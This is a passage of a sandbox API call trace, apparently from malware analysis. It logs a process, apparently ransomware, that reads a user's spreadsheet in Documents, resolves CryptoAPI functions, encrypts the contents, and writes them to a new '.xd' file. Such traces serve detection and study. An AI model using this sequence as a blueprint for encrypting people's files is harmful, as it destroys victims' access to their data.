dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0070.760] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.760] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.760] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.760] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0070.761] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\NZGdG.xlsx.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\nzgdg.xlsx.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0070.761] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.761] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.761] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.761] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.763] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0070.763] ReadFile (in: hFile=0x2ac, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x3046, lpOverlapped=0x0) returned 1 [0070.764] ReadFile (in: hFile=0x2ac, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0070.765] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.765] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.765] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.765] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0070.766] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.766] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.766] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0070.766] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.766] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0070.766] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.766] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.766] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.766] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0070.766] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0070.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0070.766] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0070.766] CryptGetKeyParam (in: hKey=0x164c530, dwParam=0x7, pbData=0x16294f0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16294f0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0070.766] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.766] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.766] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.766] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.767] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.767] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.767] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.767] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.767] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0070.768] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.768] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.768] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0070.768] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.768] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.768] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0070.768] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.768] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.768] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.768] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.768] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.768] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.768] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.768] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.768] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.768] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0070.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16217b0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0070.768] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0070.768] CryptEncrypt (in: hKey=0x164c530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x3046, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x3050) returned 1 [0070.768] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.769] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.769] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.769] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.769] CharLowerBuffW (in: lpsz="byte[12369]", cchLength=0xb | out: lpsz="byte[12369]") returned 0xb [0070.769] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.769] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.769] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.769] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.769] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0070.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621990, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0070.769] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0070.769] CryptEncrypt (in: hKey=0x164c530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17b1e28*, pdwDataLen=0x130e618*=0x3046, dwBufLen=0x3050 | out: pbData=0x17b1e28*, pdwDataLen=0x130e618*=0x3050) returned 1 [0070.769] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.769] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.769] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.769] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.769] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.769] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.769] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0070.770] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.770] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0070.770] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.770] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.770] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.770] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.770] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0070.770] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.770] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.770] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.770] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.770] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.770] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.770] WriteFile (in: hFile=0x3bc, lpBuffer=0x4e430a8*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x4e430a8*, lpNumberOfBytesWritten=0x130f01c*=0x3050, lpOverlapped=0x0) returned 1 [0070.771] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.771] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.771] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0070.771] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.771] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.771] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0070.772] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0070.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16213f0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0070.772] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0070.772] CryptDestroyKey (hKey=0x164c530) returned 1 [0070.772] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.772] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.772] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0070.772] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.772] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0070.772] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0070.772] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0070.772] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.772] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.772] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0070.772] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.773] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.773] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.773] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.773] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.773] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0070.773] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.773] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0070.773] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.773] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.773] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.773] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.773] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0070.773] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.773] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.773] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0070.773] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0070.773] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0070.773] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0070.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0070.773] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0070.773] CryptReleaseContext (hProv=0x17aa010, dwFlags=0x0) returned 1 [0070.773] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.774] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.774] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0070.774] FreeLibrary (hLibModule=0x74c60000) returned 1 [0070.774] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.774] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.774] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.774] CloseHandle (hObject=0x2ac) returned 1 [0070.775] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.775] CloseHandle (hObject=0x3bc) returned 1 [0070.776] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.776] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0070.776] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\NZGdG.xlsx", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\NZGdG.xlsx", lpFilePart=0x0) returned 0x2a [0070.776] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\NZGdG.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\nzgdg.xlsx")) returned 0x20 [0070.776] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\NZGdG.xlsx", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c6f0 [0070.776] 